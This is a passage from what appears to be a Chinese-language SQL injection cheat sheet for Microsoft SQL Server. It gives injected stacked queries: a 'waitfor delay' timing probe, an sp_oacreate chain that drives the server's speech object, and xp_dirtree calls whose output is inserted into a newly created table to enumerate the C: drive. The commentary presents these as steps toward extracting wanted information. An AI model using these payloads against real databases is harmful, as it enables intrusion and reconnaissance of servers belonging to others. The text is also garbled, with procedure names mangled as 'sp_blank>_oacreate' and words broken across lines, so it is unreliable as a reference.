     to,us, 528 
    waitfor delay 00:00:05 

    ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out 

    exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetp

    roperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your 

    sequel servers are belong to us, 528 waitfor delay 00:00:05-- 

    xp_blank>_dirtree适用权限PUBLIC 
    exec master.dbo.xp_blank>_dirtree c:\ 
    返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 
    create table dirs(paths varchar(100), id int) 
    建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 
    insert dirs exec master.dbo.xp_blank>_dirtree c:\ 
    只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!